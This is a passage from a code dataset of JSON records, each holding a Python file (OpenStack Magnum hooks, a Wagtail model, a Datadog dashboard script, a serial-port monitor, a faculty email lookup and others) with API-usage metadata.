{"api_name": "json.loads", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 59, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 93, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 93, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 109, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 109, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 113, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 113, "usage_type": "name"}, {"api_name": "urllib2.Request", "line_number": 165, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 167, "usage_type": "call"}, {"api_name": "urllib2.HTTPError", "line_number": 168, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 171, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 188, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 190, "usage_type": "call"}, {"api_name": "urllib2.HTTPError", "line_number": 191, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 194, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 208, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 210, "usage_type": "call"}, {"api_name": "urllib2.HTTPError", "line_number": 211, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 214, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 231, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 233, "usage_type": "call"}, {"api_name": "urllib2.HTTPError", "line_number": 234, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 237, "usage_type": "call"}]} {"seq_id": "507315197", "text": "# -*- encoding: utf-8 -*-\n#\n# Copyright © 2012 New Dream Network, LLC (DreamHost)\n#\n# Author: Doug Hellmann <doug.hellmann@dreamhost.com>\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nfrom oslo.config import cfg\nfrom oslo.utils import importutils\nfrom pecan import hooks\n\nfrom magnum.common import context\nfrom magnum.conductor import api as conductor_api\n\n\nclass ContextHook(hooks.PecanHook):\n \"\"\"Configures a request context and attaches it to the request.\n\n The following HTTP request headers are used:\n\n X-User-Id or X-User:\n Used for context.user_id.\n\n X-Tenant-Id or X-Tenant:\n Used for context.tenant.\n\n X-Auth-Token:\n Used for context.auth_token.\n\n \"\"\"\n\n def before(self, state):\n headers = state.request.headers\n user_id = headers.get('X-User-Id')\n user_id = headers.get('X-User', user_id)\n tenant = state.request.headers.get('X-Tenant-Id')\n tenant = state.request.headers.get('X-Tenant', tenant)\n domain_id = state.request.headers.get('X-User-Domain-Id')\n domain_name = state.request.headers.get('X-User-Domain-Name')\n auth_token = state.request.headers.get('X-Storage-Token')\n auth_token = state.request.headers.get('X-Auth-Token', auth_token)\n auth_token_info = state.request.environ.get('keystone.token_info')\n\n auth_url = headers.get('X-Auth-Url')\n if auth_url is None:\n importutils.import_module('keystonemiddleware.auth_token')\n auth_url = cfg.CONF.keystone_authtoken.auth_uri\n\n state.request.context = context.RequestContext(\n auth_token=auth_token,\n auth_url=auth_url,\n auth_token_info=auth_token_info,\n user=user_id,\n tenant=tenant,\n domain_id=domain_id,\n domain_name=domain_name)\n\n\nclass RPCHook(hooks.PecanHook):\n \"\"\"Attach the rpcapi object to the request so controllers can get to it.\"\"\"\n\n def before(self, state):\n state.request.rpcapi = conductor_api.API(context=state.request.context)", "sub_path": "magnum/api/hooks.py", "file_name": "hooks.py", "file_ext": "py", "file_size_in_byte": 2559, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pecan.hooks.PecanHook", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pecan.hooks", "line_number": 28, "usage_type": "name"}, {"api_name": "oslo.utils.importutils.import_module", "line_number": 58, "usage_type": "call"}, {"api_name": "oslo.utils.importutils", "line_number": 58, "usage_type": "name"}, {"api_name": "oslo.config.cfg.CONF", "line_number": 59, "usage_type": "attribute"}, {"api_name": "oslo.config.cfg", "line_number": 59, "usage_type": "name"}, {"api_name": "magnum.common.context.RequestContext", "line_number": 61, "usage_type": "call"}, {"api_name": "magnum.common.context", "line_number": 61, "usage_type": "name"}, {"api_name": "pecan.hooks.PecanHook", "line_number": 71, "usage_type": "attribute"}, {"api_name": "pecan.hooks", "line_number": 71, "usage_type": "name"}, {"api_name": "magnum.conductor.api.API", "line_number": 75, "usage_type": "call"}, {"api_name": "magnum.conductor.api", "line_number": 75, "usage_type": "name"}]} {"seq_id": "126019848", "text": "#!/usr/bin/env python\n#\n# Copyright (c) 2020 Idiap Research Institute, http://www.idiap.ch/\n# Written by Angelos Katharopoulos <angelos.katharopoulos@idiap.ch>\n#\n\n\"\"\"A script to contain some package administration tools and automations such\nas building the documentation.\n\nMaybe this script should be a shell-script, maybe it shouldn't. :-)\n\"\"\"\n\nimport argparse\nimport os\nfrom shutil import rmtree\nfrom subprocess import call\nimport sys\n\n\ndef build_docs(args):\n # Remove the directory\n rmtree(args.output_dir)\n call([\"mkdocs\", \"build\", \"-d\", args.output_dir])\n call([\"pdoc\", \"--html\", \"-o\", os.path.join(args.output_dir, \"api_docs\"),\n \"fast_transformers\"])\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"Build the documentation site\"\n )\n subparsers = parser.add_subparsers(dest=\"command\")\n\n # Documentation command\n docs = subparsers.add_parser(\n \"build_docs\",\n help=\"Build the documentation site\"\n )\n docs.add_argument(\n \"--output_dir\", \"-o\",\n default=\"site\",\n help=\"Choose the output directory to store the html (default: site)\"\n )\n\n # Parse the arguments\n args = parser.parse_args()\n if args.command is None:\n parser.print_help()\n sys.exit(1)\n\n # Dispatch the command\n dict(\n build_docs=build_docs\n )[args.command](args)\n", "sub_path": "tools.py", "file_name": "tools.py", "file_ext": "py", "file_size_in_byte": 1381, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "shutil.rmtree", "line_number": 22, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 23, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 49, "usage_type": "call"}]} {"seq_id": "432179940", "text": "from time import sleep\n\nfrom cv2 import VideoCapture, imshow, waitKey, destroyAllWindows\nimport cv2\n\nfrom ske_13_emotion_classification.classifiers.emotions import BITBOTS\nfrom ske_13_emotion_classification.detectors.faces import (\n Cascade, CascadeXMLEnum\n)\nfrom ske_13_emotion_classification.utils import (\n draw_bounding_boxes, draw_texts, extract_objects\n)\n\ndefault_face_detector = Cascade(\n xml=CascadeXMLEnum.HAARCASCADE_FRONTALFACE_DEFAULT\n)\ndefault_emotion_classifier = BITBOTS()\n\n\ndef on_failed_to_load_camera(video_capture):\n if not video_capture.isOpened():\n print('Unable to load camera.')\n sleep(5)\n pass\n\n\ndef web_cam(face_detector=default_face_detector, emotion_classifier=default_emotion_classifier):\n\n video_capture = VideoCapture(0)\n\n while True:\n on_failed_to_load_camera(video_capture)\n\n _, frame = video_capture.read()\n\n face_bounding_boxes = face_detector.detect(image=frame)\n\n draw_bounding_boxes(\n image=frame,\n bouding_boxes=face_bounding_boxes\n )\n\n faces = extract_objects(\n image=frame,\n bounding_boxes=face_bounding_boxes,\n )\n\n if len(faces) != 0:\n results = emotion_classifier.predict(images=faces, verbose=1)\n for r, bbox in zip(results, face_bounding_boxes):\n cv2.putText(\n frame,\n str(r[0][0]),\n (bbox[0], bbox[-1]),\n cv2.FONT_HERSHEY_SIMPLEX,\n .5,\n (255, 255, 255),\n lineType=cv2.LINE_AA\n )\n\n if waitKey(1) & 0xFF == ord('q'):\n break\n\n imshow('Web Camera Emotion Classification', frame)\n\n video_capture.release()\n destroyAllWindows()\n", "sub_path": "ske_13_emotion_classification/applications/web_cam.py", "file_name": "web_cam.py", "file_ext": "py", "file_size_in_byte": 1822, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "ske_13_emotion_classification.detectors.faces.Cascade", "line_number": 14, "usage_type": "call"}, {"api_name": "ske_13_emotion_classification.detectors.faces.CascadeXMLEnum.HAARCASCADE_FRONTALFACE_DEFAULT", "line_number": 15, "usage_type": "attribute"}, {"api_name": "ske_13_emotion_classification.detectors.faces.CascadeXMLEnum", "line_number": 15, "usage_type": "name"}, {"api_name": "ske_13_emotion_classification.classifiers.emotions.BITBOTS", "line_number": 17, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 29, "usage_type": "call"}, {"api_name": "ske_13_emotion_classification.utils.draw_bounding_boxes", "line_number": 38, "usage_type": "call"}, {"api_name": "ske_13_emotion_classification.utils.extract_objects", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cv2.LINE_AA", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cv2.waitKey", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 67, "usage_type": "call"}]} {"seq_id": "63600982", "text": "import argparse\nparser = argparse.ArgumentParser(description=\"test\")\nparser.add_argument(\"-f_hdf5\",action=\"store\",help='hdf5 file to get velocities for')\nargs = parser.parse_args()\nif args.f_hdf5: hdf5 = str(args.f_hdf5)\nelse: raise ValueError\n\nimport yt\nimport numpy as np\nimport scipy.io as sio\n\ndef PeriodicBox(vx):\n vxn=np.zeros(np.array(vx.shape)+2)\n vxn[1:-1,1:-1,1:-1]= vx\n #copy opposite edge values to ghost zones\n vxn[0,1:-1,1:-1]=vx[-1,:,:]\n vxn[-1,1:-1,1:-1]=vx[0,:,:]\n vxn[1:-1,0,1:-1]=vx[:,-1,:]\n vxn[1:-1,-1,1:-1]=vx[:,0,:]\n vxn[1:-1,1:-1,0]=vx[:,:,-1]\n vxn[1:-1,1:-1,-1]=vx[:,:,0]\n return vxn\n\nds=yt.load(hdf5)\nlev= 0\ncube= ds.covering_grid(level=lev,left_edge=ds.domain_left_edge,\n dims=ds.domain_dimensions)\nrho = np.array(cube[\"density\"])\nvx = np.array(cube[\"X-momentum\"]/rho)\nvy = np.array(cube[\"Y-momentum\"]/rho)\nvz = np.array(cube[\"Z-momentum\"]/rho)\nvxPB=PeriodicBox(vx)\nvyPB=PeriodicBox(vy)\nvzPB=PeriodicBox(vz)\nsio.savemat('./vels_noPB.mat', {'vx':vx,'vy':vy,'vz':vz})\nsio.savemat('./vels_PB.mat', {'vx':vxPB,'vy':vyPB,'vz':vzPB})\n", "sub_path": "Sim_toMatlab.py", "file_name": "Sim_toMatlab.py", "file_ext": "py", "file_size_in_byte": 1106, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 2, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "yt.load", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.io.savemat", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 35, "usage_type": "name"}, {"api_name": "scipy.io.savemat", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 36, "usage_type": "name"}]} {"seq_id": "357464810", "text": "\n\n# A couple of abstract classes that contain commonly used fields\nfrom django.db import models\n\nfrom wagtail.wagtailcore.models import Page, Orderable\nfrom wagtail.wagtailcore.fields import RichTextField\nfrom wagtail.wagtailadmin.edit_handlers import FieldPanel, MultiFieldPanel, \\\n InlinePanel, PageChooserPanel\nfrom wagtail.wagtailimages.edit_handlers import ImageChooserPanel\nfrom wagtail.wagtailimages.models import Image\nfrom wagtail.wagtaildocs.edit_handlers import DocumentChooserPanel\nfrom wagtail.wagtailsnippets.models import register_snippet\nfrom wagtail.wagtailforms.models import AbstractEmailForm, AbstractFormField\nfrom wagtail.wagtailsearch import index\n\n\nclass LinkFields(models.Model):\n\n class Meta:\n abstract = True\n\n link_external = models.URLField(\"External link\", blank=True)\n link_page = models.ForeignKey(\n 'wagtailcore.Page',\n null=True,\n blank=True,\n related_name='+'\n )\n link_document = models.ForeignKey(\n 'wagtaildocs.Document',\n null=True,\n blank=True,\n related_name='+'\n )\n\n @property\n def link(self):\n if self.link_page:\n return self.link_page.url\n elif self.link_document:\n return self.link_document.url\n else:\n return self.link_external\n\n panels = [\n FieldPanel('link_external'),\n PageChooserPanel('link_page'),\n DocumentChooserPanel('link_document'),\n ]\n\n\nclass RelatedLink(LinkFields):\n\n class Meta:\n abstract = True\n\n title = models.CharField(max_length=255, help_text=\"Link title\")\n\n panels = [\n FieldPanel('title'),\n MultiFieldPanel(LinkFields.panels, \"Link\"),\n ]\n\n\nclass CarouselItem(LinkFields):\n\n class Meta:\n abstract = True\n\n image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n embed_url = models.URLField(\"Embed URL\", blank=True)\n caption = models.CharField(max_length=255, blank=True)\n\n panels = [\n ImageChooserPanel('image'),\n FieldPanel('embed_url'),\n FieldPanel('caption'),\n MultiFieldPanel(LinkFields.panels, \"Link\"),\n ]\n", "sub_path": "anires/core/models/links.py", "file_name": "links.py", "file_ext": "py", "file_size_in_byte": 2241, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.db.models.Model", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 47, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.PageChooserPanel", "line_number": 48, "usage_type": "call"}, {"api_name": "wagtail.wagtaildocs.edit_handlers.DocumentChooserPanel", "line_number": 49, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 58, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 58, "usage_type": "name"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 61, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.MultiFieldPanel", "line_number": 62, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 71, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 75, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 75, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 78, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 78, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}, {"api_name": "wagtail.wagtailimages.edit_handlers.ImageChooserPanel", "line_number": 82, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 83, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.FieldPanel", "line_number": 84, "usage_type": "call"}, {"api_name": "wagtail.wagtailadmin.edit_handlers.MultiFieldPanel", "line_number": 85, "usage_type": "call"}]} {"seq_id": "42032651", "text": "# Import necessary entities\nfrom datadog import initialize, api\n\noptions = {\n # Find your keys here:\n # https://app.datadoghq.com/account/settings#api\n 'api_key': '****************************************',\n 'app_key': '****************************************'\n}\n\ninitialize(**options)\n\n# Title displayed on the top of the Timeboard\ntitle = \"Logfathers Timemachine\"\n\n# Let everyone know your intentions as to what this timeboard was created for.\ndescription = \"This timeboard presents everything that is necessary to become a successful sales engineer for Datadog. Arf.\" \n\ngraphs = [{\n \"definition\": {\n \"events\": [],\n \"requests\": [\n {\"q\": \"avg:logfather_cpu{*}\"},\n {\"q\": \"avg:logfather_cpu{*}.rollup(sum, 60)\" }\n ],\n \"viz\": \"timeseries\"\n },\n \"title\": \"CPU usage scoped over the host Logfather\"\n},\n\n{\n \"definition\": {\n \"events\": [],\n \"requests\": [\n {\"q\": \"anomalies(avg:logfather_cpu{*}, 'basic', 2)\"}\n ],\n \"viz\": \"timeseries\"\n },\n \"title\": \"# of CPU Anomalies\"\n}]\n\ntemplate_variables = [{\n \"name\": \"Logfathers Timemachine\", # REQUIRED. The name of the variable\n \"prefix\": \"\", #OPTIONAL. The tag prefix associated with the variable. Only tags with this prefix appear in the variable dropdown.\n \"default\": \"\" # OPTIONAL. The default value for the template variable on dashboard load.\n}]\n\nread_only = True # Make sure nobody can manipulate your timeboard\n\napi.Timeboard.create(title=title,\n description=description,\n graphs=graphs,\n template_variables=template_variables,\n read_only=read_only)\n", "sub_path": "code/logfather_tb.py", "file_name": "logfather_tb.py", "file_ext": "py", "file_size_in_byte": 1700, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "datadog.initialize", "line_number": 11, "usage_type": "call"}, {"api_name": "datadog.api.Timeboard.create", "line_number": 50, "usage_type": "call"}, {"api_name": "datadog.api.Timeboard", "line_number": 50, "usage_type": "attribute"}, {"api_name": "datadog.api", "line_number": 50, "usage_type": "name"}]} {"seq_id": "286156", "text": "# -*- coding: UTF-8 -*-\n\"\"\"\n@auth:bxj\n@date:2019-08-23 09:28\n@describe:牙医贷授信接口字段必填项校验\n\"\"\"\nimport unittest\nimport os\nimport json\nimport ddt\nimport sys\nfrom common.common_func import Common\nfrom log.logger import Logger\nfrom common.open_excel import excel_table_byname\nfrom config.configer import Config\n\nlogger = Logger(logger=\"credit_apply\").getlog()\n\n\n@ddt.ddt\nclass CreditApply(unittest.TestCase):\n\tfile = Config().get_item('File', 'jfx_required_case_file')\n\texcel_data = excel_table_byname(file, 'credit_apply_data')\n\tenv = 'qa'\n\n\t@ddt.data(*excel_data)\n\tdef test_credit_apply(self, data):\n\t\tparam = json.loads(data['param'])\n\t\tif len(data['headers']) == 0:\n\t\t\theaders = None\n\t\telse:\n\t\t\theaders = json.loads(data['headers'])\n\t\trep = Common.response(\n\t\t\tfaceaddr=data['url'],\n\t\t\theaders=headers,\n\t\t\tdata=json.dumps(param, ensure_ascii=False),\n\t\t\tproduct=\"cloudloan\",\n\t\t\tenvironment=self.env\n\t\t)\n\t\tself.assertEqual(str(json.loads(rep.text)['resultCode']), data['resultCode'])\n\n\nif __name__ == '__main__':\n\tunittest.main()\n", "sub_path": "testcase/jfx_required_test/test_required_apply.py", "file_name": "test_required_apply.py", "file_ext": "py", "file_size_in_byte": 1051, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "log.logger.Logger", "line_number": 17, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 21, "usage_type": "attribute"}, {"api_name": "config.configer.Config", "line_number": 22, "usage_type": "call"}, {"api_name": "common.open_excel.excel_table_byname", "line_number": 23, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 28, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 32, "usage_type": "call"}, {"api_name": "common.common_func.Common.response", "line_number": 33, "usage_type": "call"}, {"api_name": "common.common_func.Common", "line_number": 33, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 36, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 40, "usage_type": "call"}, {"api_name": "ddt.data", "line_number": 26, "usage_type": "call"}, {"api_name": "ddt.ddt", "line_number": 20, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 44, "usage_type": "call"}]} {"seq_id": "625504374", "text": "\"\"\"\n- 시리얼 연결 후 시작신호가 오면 패킷을 보내면서 시작을 한다.\n\n- 어떤 데이터를 요구 할 것인지를 확인하는 기능.\n - 체크박스 등의 방식으로 요청할 데이터를 선택하여 요청 및 수신한다.\n - 데이터를 요청 하는 방법(어떤 데이터를 요청하려면 패킷을 어떻게 보내야 하는지)\n - 실제 장비로 보내는 프로토콜은 요청하는 데이터 종류에 따라 주고받는 패킷이 다르다\n\n- 프로그램 시작 시 요구하는 데이터 내용을 전달받고 시작한다.\n - 요구하는 데이터에 따라 장비로 보내는 패킷의 내용이 달라진다.\n - 시작 시 요구내용을 받고 그에 따라 패킷을 만들어 전송한다.\n\n- 패킷을\n\n\n- 시리얼통신을 하는 스레드\n - 송 수신을 하며 세션을 유지한다.\n\n\n- 프로그램 시작 시 설정파일을 열어 내부 설정을 한다.\n - 카프카 IP\n - 장비와 연결될 통신포트\n - 장비로 요청할 데이터 리스트 (체크박스 타입)\n\n\n- 프로그램 구동\n 1. 시작 이후 기본 설정을 한다.\n 2. 시리얼 통신 스레드에서 패킷을 하나 받는다\n 3. 패킷을 분석\n 4. 세션유지를 위한 패킷 전송 또는 카프카로 전송할 패킷 제작\n 5. 카프카로 패킷 전송\n 6. 2번부터 반복\n 7. 종료시 종료 패킷 전송\n\n\n- 시리얼 통신 스레드를 통해서 어떤 데이터를 받고 그 데이터는 스레드 밖에서 처리 할 수 있다.\n- 시리얼 통신으로 데이터를 받고 어떤 처리를 한다. 즉 스레드 안에서 모든 처리가 일어난다고 볼 수 있다.\n- main 스레드를 하나 만들고 그 안에서 모든 처리를 한다.\n- 또는 수신스레드, 송신스레드 두개를 별도로 구동한다.\n\n\n\"\"\"\n\nimport json\nimport time\n\nimport SerialPort\n\n# 설정 저장을 위한 JSON을 만드는 함수.\n# 설정 파일이 다 만들어졌다면 호출 할 필요가 없다.\ndef makeJsonInit():\n file_print = open(\"setting.json\", \"w\")\n\n text_dict = dict()\n text_dict[\"KAFKA\"] = dict()\n text_dict[\"KAFKA\"][\"IP\"] = \"123.234.123.12\"\n text_dict[\"KAFKA\"][\"PORT\"] = 12345\n\n text_dict[\"SERIAL\"] = dict()\n text_dict[\"SERIAL\"][\"PORT\"] = \"COM7\"\n text_dict[\"SERIAL\"][\"BAUD\"] = 115200\n\n text_dict[\"MON_VALUE\"] = dict()\n text_dict[\"MON_VALUE\"][\"EEG1\"] = \"X\"\n text_dict[\"MON_VALUE\"][\"EEG2\"] = \"O\"\n text_dict[\"MON_VALUE\"][\"EEG3\"] = \"X\"\n text_dict[\"MON_VALUE\"][\"EEG4\"] = \"X\"\n\n file_print.write(f\"{json.dumps(text_dict)}\\n\")\n\n# 설정파일 로딩 할 때 사용\ndef json_loading(filename):\n json_data = open(filename).read()\n ret_dict = json.loads(json_data)\n return ret_dict\n\n\n# 시리얼포트로 한 패킷이 수신 되면 해당 패킷을 담은 데이터와 함께 이 함수가 호출된다.\n# 수신받은 데이터를 가공하여 카프카쪽으로 전송하게 된다.\n# 현재는 수신 받은 데이터를 출력만 함.\n# 이 부분을 가공 하는 부분이 receiver.py 이며 관련 클래스 및 상수는 philips_struct.py, philips_constants.py에 정의되어 있다.\ndef rcv_callback(dict_data):\n print(dict_data)\n\n\n# 세션 유지를 위한 데이터를 전송한다. 이 부분이 완성 되면 독자적으로 구동이 가능해진다.\ndef send_thread():\n while (True):\n print(\"sndThread\")\n time.sleep(1)\n\n\ndef main():\n # todo : 기본설정파일 로딩 (JSON 텍스트 파일 형식)\n makeJsonInit() # 설정 파일을 새로 만들 때 만 호출한다.\n dict_setting = json_loading(\"setting.json\")\n\n print(dict_setting)\n\n # todo : 시리얼 통신 스레드를 연다.\n c_serial_port = SerialPort.SerialPort(dict_setting[\"SERIAL\"][\"PORT\"], dict_setting[\"SERIAL\"][\"BAUD\"], rcv_callback, send_thread)\n c_serial_port.threading()\n\n\n while (True):\n print(\"main sleep\")\n time.sleep(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n\n\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3996, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "json.dumps", "line_number": 69, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 74, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 90, "usage_type": "call"}, {"api_name": "SerialPort.SerialPort", "line_number": 101, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 107, "usage_type": "call"}]} {"seq_id": "404351059", "text": "import requests\nfrom bs4 import BeautifulSoup\n\n'''\nEthan Gilmore\nNovember 26, 2018\n\nsimple web scraper script i made whenever i can only remember a part of a teachers name and need to get their email\n'''\n\ndef findEmail(name):\n url = \"http://www.pineview.org/faculty/\"\n Request = requests.get(url) #get html\n TeacherData = BeautifulSoup(Request.text, 'html.parser') #beautify it???\n\n emails = TeacherData.findAll(\"p\") #find all the p tags which were the emails\n possibleEmails = []\n finalEmails = []\n for email in emails:\n emailText = email.getText()\n if(emailText.find(name) != -1 and emailText.find(\"@\") != -1): #if input is in email and this comparison is against an actual email\n possibleEmails.append(emailText) #add it to the list\n\n for email in possibleEmails: #i think this is just all fixing up the emails a little bit\n emailCutoff = email.find(\".org\")\n newEmail = email[0:(emailCutoff)+4]\n finalEmails.append(newEmail) #add prettified emails to new list\n\n return finalEmails #return list of possible emails\n\nif __name__ == \"__main__\":\n teacherName = input()\n print(findEmail(teacherName))\n\n\n\n", "sub_path": "TeacherEmails.py", "file_name": "TeacherEmails.py", "file_ext": "py", "file_size_in_byte": 1180, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 14, "usage_type": "call"}]} {"seq_id": "183181151", "text": "# Copyright 2020 DB Engineering\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom abel_converter import abel\nimport os\nimport representations.representations\nimport ontology.ontology\nimport loadsheet.loadsheet as load\nfrom pretty import PrettyPrint\nimport base64\nfrom typing import Optional\n\n\ndef _convert_to_base64(data):\n \"\"\"\n Convert a data object into a base64 message.\n Used as a codeword to uniquely identify each asset type\n \"\"\"\n\n if isinstance(data, set):\n data = list(data)\n data.sort()\n data = tuple(data)\n data = str(data)\n\n if isinstance(data, list):\n data.sort()\n data = tuple(data)\n data = str(data)\n\n if isinstance(data, tuple):\n data = str(data)\n\n encoded_bytes = base64.b64encode(data.encode(\"utf-8\"))\n encoded_str = str(encoded_bytes, \"utf-8\")\n\n return encoded_str\n\n\ndef _print_type(type, type_dict):\n \"\"\"\n prints out a type's assets and fields\n \"\"\"\n print(f\"ASSET GENERAL TYPE: {type}\")\n print(\"--------------------------------------------------------------------------------\")\n for field_hash in type_dict.keys():\n assets = type_dict[field_hash][0]\n fields = type_dict[field_hash][1]\n col_width = max(len(field) for field in fields) + 3\n\n print(f\"ASSETS: {assets}\\n\")\n print(\"FIELDS\")\n print(\"=\"*col_width)\n print(\"\\n\".join(fields))\n print(\"\\n\\n\")\n\n\nclass Handler:\n \"\"\"\n Handler object for handling onboarding workflow.\n Acts as an interface between the CLI and the following libraries:\n - representations: for converting the loadsheet into ontology-usable objects\n - ontology: for asset validation and tMatching\n - loadsheet: for loadsheet and bms imports and exports\n as well as interaction with the rules engine\n \"\"\"\n\n def __init__(self):\n \"\"\" Initialize the handler. \"\"\"\n # Create some flags to mark the status of the processes\n self.ontology_built = False\n self.representations_built = False\n self.loadsheet_built = False\n self.validated = False\n self.matched = False\n\n # Save some config info so that it can be reused\n self.last_loadsheet_path = ''\n self.last_rule_path = ''\n self.payload_path = ''\n\n def build_ontology(self, ontology_root):\n \"\"\"\n Try to build the ontology. If theres an error, print it out but don't blow up.\n args:\n - ontology_root: the root folder of the ontology to be imported\n\n returns: N/A\n \"\"\"\n try:\n # Adjust the resource directory in the ontology file to import from the desired location.\n # Build the ontology.\n ont = ontology.ontology.Ontology(ontology_root)\n ont.validate_without_errors()\n self.ontology_built = True\n self.ontology = ont\n print(f\"[INFO]\\tOntology built from 